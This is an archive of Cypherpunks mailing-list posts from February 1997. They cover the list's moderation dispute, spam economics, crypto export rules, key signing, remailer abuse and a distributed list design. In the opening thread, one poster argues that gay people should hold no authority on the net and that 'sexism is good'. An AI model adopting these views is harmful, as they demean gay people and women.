Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970212165137.12190.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970213111917.9322A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 12 Feb 1997, Against Moderation wrote:

> Date: 12 Feb 1997 16:51:37 -0000
> From: Against Moderation <antimod@nym.alias.net>
> To: aga <aga@dhp.com>
> Cc: cypherpunks@toad.com, cypherpunks@pgh.org,
>     InterNet Freedom Council <ifc@pgh.org>, ichudov@algebra.com,
>     dlv@bwalk.dm.com, Freedom Knights <freedom-knights@jetcafe.org>
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> aga <aga@dhp.com> writes:
> 
> > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > have anything to do with it?
> 
> Doubtful.  Given the fact that gay people suffer a great deal of
> discrimination, they generally tend to be fairly open-minded.  I see
> no reason to believe Gilmore is in fact gay, but if he is it in no way
> affects my opinion of him.
> 

Well, the fact remains that the homos are instrumental in creating and
forming a cliquish and censored usenet.  There is just no question
about that.  Remember the previous cypherpunk who stated that the
gays "created and run usenet."

> > Maybe they just wanted you to leave, Gilmore.  After all, your EFF has
> > ruined the reputation of the InterNet, and your homosexuality is a bad
> > sign.  Homos should not be allowed to have any authority positions
> > anyplace on the net.
> 
> Your bigotry seriously undermines the effectiveness of any
> anti-censorship arguments you make.  

Your assumption that I am a "bigot" makes it you appear uninformed.
Sexism is good, but racism is bad.   A sexist is not a bigot.

The only one who qualifies as a "bigot" is a racist.

> Are you just trying to get
> everyone to hate those who oppose censorship on cypherpunks.  Which
> side are you on anyway?
> 

It is very logical and wise to discriminate on the basis of sex.

I am not a racist, so therefore I can not be a "bigot," regardless of
my views on homosexuality.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 11:39:00 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702131938.LAA09484@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 2/12/97 -0800, jim bell wrote:
...
>I decided long ago (okay, well, many months ago) that the "solution" is to 
>invent a mechanism to allow spammers/advertisers to include a small amount 
>of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
>are willing to pay $0.32 for postage and probably $0.50 for production, 
>printing, and labelling costs, all for no guarantees of results, they should 
>even more happy to pay, say, 10 cents to each recipient.  At that rate, an
average 
>person would probably receive enough "spam" to  pay for his Internet 
>account, quite analogous to the way advertiser-supported TV is presented to 
>the public for no explicit charge.

First of all, they don't spend 32 cents per post.  They get one of those
bulk-mail permits which allows them to send those at a significant savings.
The whole package complete with the cheap "Yes, I'll try your service, and
send me the free gizmo"/"No, I don't need any more services, but I could use
the free gizmo" stickers probably costs well within 50 cents.
TV is not a gift per say, though your origional posts, involving a cookie,
suggested something closer to TV.  Currently, advertiser subsidized
services, like hotmail, Yahoo, and similair, are closer in that you get the
gift with only the minor distraction of the advertisement.

A more functional system might be to include a cryptographic "key" of only a
few bytes in the e-mail post that opens some online service of relative
value.  Along the lines of a hidden, no URL FTP site with all the best
downloads.
This would not be dependant upon e-cash being in place.  Would require that
the customer read at least part of the message in order to get the
instructions on how to use the key.  Prevent the user from just handing out
the key to whoever asked as it would probably have a limited lifespan.  And
give the sender some location from which to conduct polling, headcounts, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Thu, 13 Feb 1997 08:43:32 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <199702131441.GAA01300@toad.com>
Message-ID: <sjm67zwbqsu.fsf@charon.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

[snip]
> It detects duplicates by Message-Id.

Unfortunately, the messages that make it through to the cypherpunks
list have their MessageID changed when they get approved.  So,
checking for duplicates by MessageID fails, given the current approval
mechanism. :(

I've informed Sandy of the problem, but he doesn't know how to
preserve the original MessageIDs.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 13 Feb 1997 09:01:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <3302B6C6.2A25@gte.net>
Message-ID: <Pine.LNX.3.95.970213115817.9322D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


posted

On Wed, 12 Feb 1997, Dale Thorn wrote:

> Date: Wed, 12 Feb 1997 22:37:58 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org,
>     cypherpunks@algebra.com
> Cc: dlv@bwalk.dm.com
> Subject: [STATS] Cypherpunks-unedited subscriptions
> 
> Total subscribers for cypherpunks-unedited:
> -------------------------------------------
> Tue 14 Jan: 13
> Wed 15 Jan: 15
> Thu 16 Jan: 13
> Fri 17 Jan: 15
> Tue 21 Jan: 28
> Fri 24 Jan: 30
> Mon 27 Jan: 34
> Tue 04 Feb: 43
> Tue 11 Feb: 62
> 
> When Gilmore made his pronouncement that "the subscribers have spoken",
> only a minority of the "real" subscribers were on the -unedited list.
> 
> Since the above figures don't include Sandfort's entry, the jump to
> 62 as of yesterday (despite the discontinuance) easily represents
> the majority of the active (real) subscribers.  Another blood stain
> on Gilmore's shroud, as it were.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 13 Feb 1997 12:01:39 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702132001.MAA09945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 2/12/97 -0800, Hal Finney wrote:
>From: Sean Roach <roach_s@alph.swosu.edu>
...
>> Another idea that has been festering.  If we could get a CPA involved in
>> this forum, I would be willing to have h[im/er] sign my key, (which is
>> seldom used, mostly because this is the only place I use e-mail), for that
>> reasonable fee that CPA's can charge.  I know that it is not a standard, or
>> even legally recognized, post for CPA's, but I think that enough people
>> would trust them.
>
>The big question with identity certificates is what procedures were followed
>in verifying the identity when the cert was issued.  If the CPA publishes
>some standard method, and his reputation is strong enough that people will
>trust him to follow it, then it might well be worth money to you to have
>him sign it.  This is the traditional role of the Certification Authority.
>
>> This would take care of some of the "newly minted" key problems.  Since
>> getting someone who is trusted to sign your key is a recognized method of
>> getting people to believe you are who you say you are.
>
>It depends on the circumstances where you expect to use your key.  Within
>a small to medium circle of associates there may be some group members
>who sign keys and are trusted by other members of the group.  There is
>no particular reason for it to be difficult.  If you want a signature which
>will be accepted by everyone in the U.S. you have a harder problem.

As far as I am aware, a CPA is supposed to require a photo ID.  Since this
is the method by which absentee voting is accomplished.  A supposedly
anonymous system, (using two envelopes, the postmaster only knows that you
voted, the vote counter only knows that it came by mail, the public only
knows how many people are absentee voters, and who, the voter assumes that
the system works), requiring the CPA as a witness to the identity of the voter.
The problem would be getting the public to recognize the CPA as a key
signing authority.  This would presumably require a public announcement, the
backing of existing trusted users, etc.

Personally, I think that the netherlands? toying around with the post office
would be ideal for keys used solely for signing.  I just wouldn't trust the
government to have access to the one I used for encryption.

Maybe that's a better idea.  Let's all use a government accessable key for
signing, making it as long as possible to reduce identity theft.  And use
homebrew, super encryption for the actual secrecy.  Let GAK be our CPA.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 10:37:55 -0800 (PST)
To: warlord@MIT.EDU (Derek Atkins)
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <sjm67zwbqsu.fsf@charon.MIT.EDU>
Message-ID: <199702131828.MAA24702@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


subs-cri-be to the unedited list.

igor
Derek Atkins wrote:
> 
> Anil Das <das@sgi.com> writes:
> 
> [snip]
> > It detects duplicates by Message-Id.
> 
> Unfortunately, the messages that make it through to the cypherpunks
> list have their MessageID changed when they get approved.  So,
> checking for duplicates by MessageID fails, given the current approval
> mechanism. :(
> 
> I've informed Sandy of the problem, but he doesn't know how to
> preserve the original MessageIDs.
> 
> -derek
> 
> -- 
>        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
>        Member, MIT Student Information Processing Board  (SIPB)
>        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
>        warlord@MIT.EDU                        PGP key available
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Rhode Island Business Net" <ici@ici.net>
Date: Thu, 13 Feb 1997 10:09:34 -0800 (PST)
To: you@uhura.ici.net
Subject: RAM CHIP SALE!
Message-ID: <199702131735.MAA04652@uhura.ici.net>
MIME-Version: 1.0
Content-Type: text/plain


RIBN appologizes for any inconvenience this e-mail may have cause. 
In no way does RIBN mean to offend or upset any persons, please delete the e-mail
if you are not interested. Thank you. 

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---------------------------------------------------------------------------------------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 12:42:28 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
In-Reply-To: <v03007800af28f71d3a32@[207.167.93.63]>
Message-ID: <v03007805af292b2c7533@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:10 PM +0000 2/13/97, Attila T. Hun wrote:

>+Attila is free to hire agents to screen his mail so he does not receive
>+spam. He is not free, in a free society, to force such screeners upon
>+me.
>
>    very true. if you if define that your freedom includes the free
>    abuse of your freedoms by others.  freedom is a two way street;
>    freedom in my book says that I can do anything I wish which does
>    not infringe on the rights of others. now, that implies that I can

As this relates to "unwanted mail," I think calling this an "abuse of
freedom by others" is misleading, and a slippery slope. On this same
slippery slope lies the claims by some women, as an example, that images in
Playboy "abuse their freedoms" (I'd've thought a different kind of abuse is
involved, but I won't get into that here).

Is unwanted physical mail also an abuse of freedom? How about unwanted
personal letters? How about unwanted conversations in a Cypherpunks meeting?

The answer to all of these issues lies outside the State. Invoking the
power of Men with Guns to stop these "unwanted contacts" is simply wrong.

Attila seems to be arguing that the State has a legitimate role in
censoring certain contacts, whereas I argue that technology and contracting
can almost always do a better job.

I repeat: Attila is free to hire a censor, or nanny, or personal secretary
to screen his calls, to sift through his mail to pass on only the most
relevant stuff, and so on. Many celebrities and busy people do just this.

(In the CompuServe case which triggered this thread, CompuServe certainly
could have offered a "filtering" service to its members. This would be
unexceptionable, and the right way to go, contractually and
technologically.)

Attila is not free, in a free society, to claim (*) that his freedoms are
being infringed when people send him mail he is not interested in.

(* He can certainly _claim_ it, but he cannot bring the State in to enforce
his dubious claim about his freedom being infringed.)

By the way, I think the "junk fax" and "junk phone call" laws are clearcut
violations of the First Amendment. I understand why the herd _wants_ these
laws, as it reduces the costs involved in replacing fax paper, running to
the telephone only to find someone trying to sell something, etc., but it
is quite clearly a prior restraint on speech, however well-intentioned.

(There are technological solutions to these problems as well. The laws
shield people from having to deal with these solutions, however.)

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Wed, 12 Feb 1997 18:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Transmission of Crypto material and ITAR
Message-ID: <2.2.32.19970213211523.00d318c8@magna.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dear All,

I have a question regarding the impossible enforcement of ITAR/EAR:
Naturally I cannot download crypto software from the US, but most of these
sites have mirrors in other countries, such as the UK for PGP, and sweden
and finland for lots of things.

However, with the way that information is routed throughout the internet
from these sites, whenever I, in Australia, request packets containing this
data from the UK etc, it invariably passes through the US from coast to
coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
trying to enforce something totally unenforcable? Surely they cannot expect
all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 

Can anyone tell me what the ruling is with regards to this?

Yours Sincerely,

Benjamin Grosman

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 11:22:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: distributed mailing list architecture (fwd)
Message-ID: <199702131929.NAA04666@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 7 Feb 1997 20:11:15 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: distributed mailing list architecture

> Igor Chudov <ichudov@algebra.com> writes:
> > I'd suggest a simplier solution: to connect each server with a couple,
> > or maybe three, other servers. This scheme is rather robust, does not
> > consume too much CPU time and bandwidth, and is easy to implement.
> 
> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

I envision it to look like a fishnet.

> Have one main majordomo.

There should be no "one main" anything on this project.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.
> 
> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).
> 
> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.
> 
> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).
> 
> The mail-exploders send mail to the address on their subscriber lists.
> 
> (John Gilmore suggested this architecture, as a simpler alternative).

Simpler? Hardly.

With the remailer chain proposal we could have a working remailer network
up in a couple of more days. What you propose will take weeks to write
and debug code and then follow it through.

No, this approach is neither simple or efficient.

What I call a fishnet toplogy is much cleaner. Each node only has to
filter messages where it was in the source chain. Easy to do with procmail,
if you look at the first example on the man page, eg how to dump to
dev/null, you find a perfect example of what procmail needs to do. It does
not need to know who else is on the network (as in a star) and its traffic
consists of one copy of each incoming instead of n copies from each of
the 'star' remailers plus the outgoing from the local subscribers. A easy
protocol can be arranged so that if the downstream remailer breaks it
subscribes to the next one in the chain, again easy to do with just a few
lines of code...


  If (bounce count of next site expires)
    {
       subscribe backup feed
    }
  If (next site returns)
    {
       unsubscribe backup feed
    }



As to the actual architecture:


                      A --> D
                     ^ \   ^ \
                    /   v /   v
                   C <-- B <-- E
                         ^
                         |
                         v
                         N  (mail-news gateway)


Again, several nice features are:

  *  Can be gotten up from a stock majordom/procmail install in a
     trivial manner

  *  Site only has to filter mail from itself

  *  It only has to keep up with two sites in the network instead
     of many (support for limited scope and anonymity)

  *  Each site gets a critical feed from only 1 other site so traffic of
     duplicates is a minimum

  *  Except for sites on the boundary of the net every site has two
     places to send its output, adding to robustness, if we allow
     the edges to wrap (eg torus) then no sites have less than 2
     other sites to send traffic to.

  *  Supports various levels of encryption or authentication on a link
     by link basis, not forcing all members to submint to a general
     architecture

  *  Scales easily, something the star model does not do since hub
     machines must grow at a rate dependant on the total number of
     remailers in the chain this equates to mullah and lots of it
     should the network take off

  *  The actual number of machines in a given chain is flexible, I
     would guess the number should match a plane tiling figure,
     triangle (n=3), squares (n=4), or hexagons (n=6)

  *  Traffic analysis and sync floods are harder to impliment in this
     architecture than a star or hub based network

  *  Supports 'little' machines and operators who are not guru's
     or have deep pockets


                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 10:56:16 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <01IFDBB5MRH09ANACB@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35

>> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Someone with more experience correct me if I'm wrong (I'm just
>> starting to learn about mailing list management), but isn't saving
>> at least the first bounce from a given address good in order to check
>> what address is the one that's actually bouncing? Admittedly, this only
>> applies to badly-formed bounces. The rest can just have the address
>> noted.

>Hmmm, I can see saving the address causing the bounce in some sort of array
>that is indexed to the majordomo subscription list for a given remailer. It
>would not cost anything but overhead to save the entire message. I guess my
>motivation was not that I cared their mailbox was full or it was a invalid
>address but that I wouldn't be able to deliver at this time. I just don't
>see any reason that it helps me to know why they can't receive mail only that
>they can't.

	Well, if you can't deliver mail because their mailbox is full, then
you should simply wait a few days before trying to deliver mail to that
address. If it's because the address isn't there any more, you should delete
it from the subscription lists. Otherwise, the instant people's mail quotas
overflow (e.g., they're on AOL and they haven't been able to get through the
clogged lines), they get bounced... or you're left with a lot of invalid
addresses. The address causing the bounce is not necessarily determinable
automatically from the bounce message; if it isn't, then you need to keep a
copy around for a human to look at.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	Given that there are pre-existing news-mail gateways, I'd think that
the programs should be available. My concern on the programming is more in
the realm of keeping the thing up and running.

>I know exactly what you mean. I have two full-time jobs and hadn't really
>thought of taking on the cpunks list in any manner. But hey, that is the
>spice in life...

	Understood; my busy-ness with other stuff comes from being a grad
student.

>Give me a couple of days to look at the situation and if somebody don't beat
>me to it I'll post what I find out. Cool?

	Looks OK. I'll also take a look around for what information I can
find.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "chefren" <chefren@pi.net>
Date: Thu, 13 Feb 1997 05:31:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut u
Message-ID: <199702131330.OAA03668@mailhost.pi.net>
MIME-Version: 1.0
Content-Type: text/plain



On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Thu, 13 Feb 1997 13:18:51 -0800 (PST)
To: remailer-operators@anon.lcs.mit.edu
Subject: Remailer Network Under Attack
Message-ID: <199702132116.OAA21790@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


It looks like a new round of attacks against the remailer network is
underway.  Once again, the provocation is "abuse".

Unknown persons have been using anonymous remailers and mail2news
gateways to "plant" e-mail addresses in various NGs for the
spam-bots to harvest and deluge with spam.  The original intention
appears to have been to "poison the well" for spammers by planting
addresses that they'd get in trouble for sending their junk mail to.
It appears that one or more copy-cats is now using the same
methodology to plant the addresses of people who they'd like to see
spammed.  (I'm using the term "plant" rather than "forge" since the
messages seem to contain sufficient disclaimers that the From:
addresses are not genuine.  Sufficient for a normal HUMAN reader,
but not an automated address harvester, that is.)

Within the last week or so, a chorus of complaints has arisen about
this practice, orchestrated by about a half dozen individuals who
meet an interesting criteria -- they all hold dual accounts on both
Netcom and a small ISP known as DataBasix.com.

The scenario is quite similar each time this has happened in the
past, such as with the cross-posted pro-smoking/anti-smoking threads
last year.  One of the complainers politely asks that the abusers be
identified and their abuse stop.  This is, of course, impossible
because the perpetrators are posting anonymously.  The second step,
which follows the first very closely, is a demand that the remailer
be shut down with threats being CCed to sysadmins and upstream
providers.

Given the variety of addresses being "spam baited", the only logical
target of this abuse is the remailers themselves.  Both sides of
certain heated controversies report being made the target of this
spam bait, each side accusing the other of being responsible.

The only question is whether the main group of complainers (the
Netcom/DataBasix group) are merely innocent bystanders or whether
they may have initiated the "abuse" as an excuse to shut down the
remailers in furtherance of some unknown agenda.  Either that, or
someone else is attacking the remailer net and it's just a
coincidence that a group fitting such a curious pattern (dual
accounts on the same two ISPs) should step in and demand the
dismantling of several elements of the remailer/m2n-gateway
infrastructure.

HYPOTHETICAL QUESTION: Would mentioning the "Reichstag Fire" invoke
Godwin's Law prematurely? <g>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Thu, 13 Feb 1997 14:27:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702131535.JAA20917@manifold.algebra.com>
Message-ID: <m2bu9o4agg.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> 
> Dr.Dimitri Vulis KOTM wrote:
> > [...] 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. [...]
> 
> As for net.cops, check out what Scott Nudds does in comp.lang.c++
> [...]

Yes, Scott Nudds is a good example of how dedicated flamers
(or maybe he is just a flamee trying to defend himself, I came
too late to say for sure), and those who fuel them on, can cause even 
a comp.* newsgroup to be as noisy as this list. (Btw, if you think
comp.lang.c++ is bad, check out comp.lang.asm.x86, sometime!).

I think it is, thus, important to distinguish between
noise from "outsiders", and noise caused by "insiders" who 
actually read the newsgroup but disrupt it for fun or
grudges, or what not. A comp.* newsgroup will help reduce the
former noise, for the reasons Dr. Vulis cites, but not so much the 
latter, since many insider trouble-makers  are often their own 
adminstraters or providers, or who have found providers or who
now have admins who will not cut them off.

That being said, I fully support the idea of a comp.* newgroup, 
over an alt.* group. The important advantages are the greater
propogation many have described, and the reduction in "outsider"
noise. I also think that people interested in computing
in general might be more likely to stumble onto the newsgroup,
since the comp.* hierachy is so much smaller than the alt.*
hierachy.

I do worry, however, that some of the more mischevious people 
around this list might try to disrupt the voting process with forged e-mail,
or turn the discussion over creation into a less than civil debate. 
In this unlinkely worst case scenario, however, not much would be lost
since we could still fall back to alt.cypherpunks, and it
would, later, make for good net.legends. :)

To be fair, though, I doubt that anyone would seriously try to
disrupt the creation, given the dedication I am seeing people putting 
into finding a new home (or homes!) for the list, and that there does not 
seem to be anyone dedicated to distrupting that process as John Gilmore 
worried there would be. (And I am on the unedited list, too!) 

Let's give it a shot!

Leonard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Thu, 13 Feb 1997 11:21:20 -0800 (PST)
To: ravage@EINSTEIN.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <01IFDCB1Y74I9ANACB@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 23:19:40.35
To:	IN%"cypherpunks@toad.com"
CC:	
Subj:	RE: Cypherpunks Distributed Remailer (fwd)

Received: from toad.com by mbcl.rutgers.edu (PMDF #12194) id
 <01IFCGV6E7PC94GG0G@mbcl.rutgers.edu>; Wed, 12 Feb 1997 23:18 EDT
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 12 Feb 1997 17:59:02 -0800 (PST)
Date: Wed, 12 Feb 1997 18:59:05 -0600 (CST)
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: RE: Cypherpunks Distributed Remailer (fwd)
Sender: owner-cypherpunks@toad.com
To: cypherpunks@toad.com
Message-id: <199702130159.RAA13474@toad.com>
X-Envelope-to: EALLENSMITH
Precedence: bulk


Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

[re: bi-directional news-mail gateways]
>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	So far as I can tell, there are two types of news2mail gateways
in common usage: newsgate, which is in C, and the standard LISTSERV
bit.listserv.* gatewaying. I don't know C and don't have that much
reason to learn it (perl makes a lot more sense to me); therefore, I'd
need to locate a perl version or let someone else take care of the
actual programming end of it, with me just handling what the programming
person didn't. Hmm... I wonder if Lance would be available for the
programming? I'd probably be using an account on cyberpass.net for the
gateway in any event.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ca3sal@isis.sunderland.ac.uk (Stephen.George.Allport)
Date: Thu, 13 Feb 1997 06:43:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702131442.OAA17335@cis525.cis.sund.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain


Strassmann wrote:
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.

As the UK gets a lot of desktop PC software from the US, ie MS & Lotus
we unfouantly have to live with the 40-bit limit. What the RSA Chalange and 
Ian Goldberg have achived is a couple of aritcales in the broad sheet papers

http://www.telegraph.co.uk:80/et?ac=000145546611023&rtmo=33032622&atmo=33032622&
P4_FOLLOW_ON=/97/2/4/ecfilm04.html&pg=/et/97/2/4/ecfilm04.html

(ouch) and

http://go2.guardian.co.uk/archive.html

The competion has shown to the general populs and not just "experts" what a 
crap deal were getting. Three and half hours gets people thinking.

Ste 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 14:52:58 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <3302E815.5E66@netbox.com>
Message-ID: <3.0.1.32.19970213144604.027ebc5c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
>
>This is where the distributed nature of the list comes   in.
>
>if someone disagrees with Jim's AUP, he or she can use soem other
>mailing list host.

Is this the policy of the majordomo network, that individual list operators
can make their own policies for their subscribers, but may not/cannot
impose them on other list operators or the other lists' members? It sounds
very reasonable, but it would be nice to be clear about whether or not this
is the case. 

Are there any rules (other than "no rules") which apply to all lists/list
operators/list subscribers? Can there ever be any? Who would write the
rules, and who must agree to them in order for them to take effect?

Can individual list operators be forced to or forbidden to "peer" with
other machines, or are these "peer" relationships up to each list operator?

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
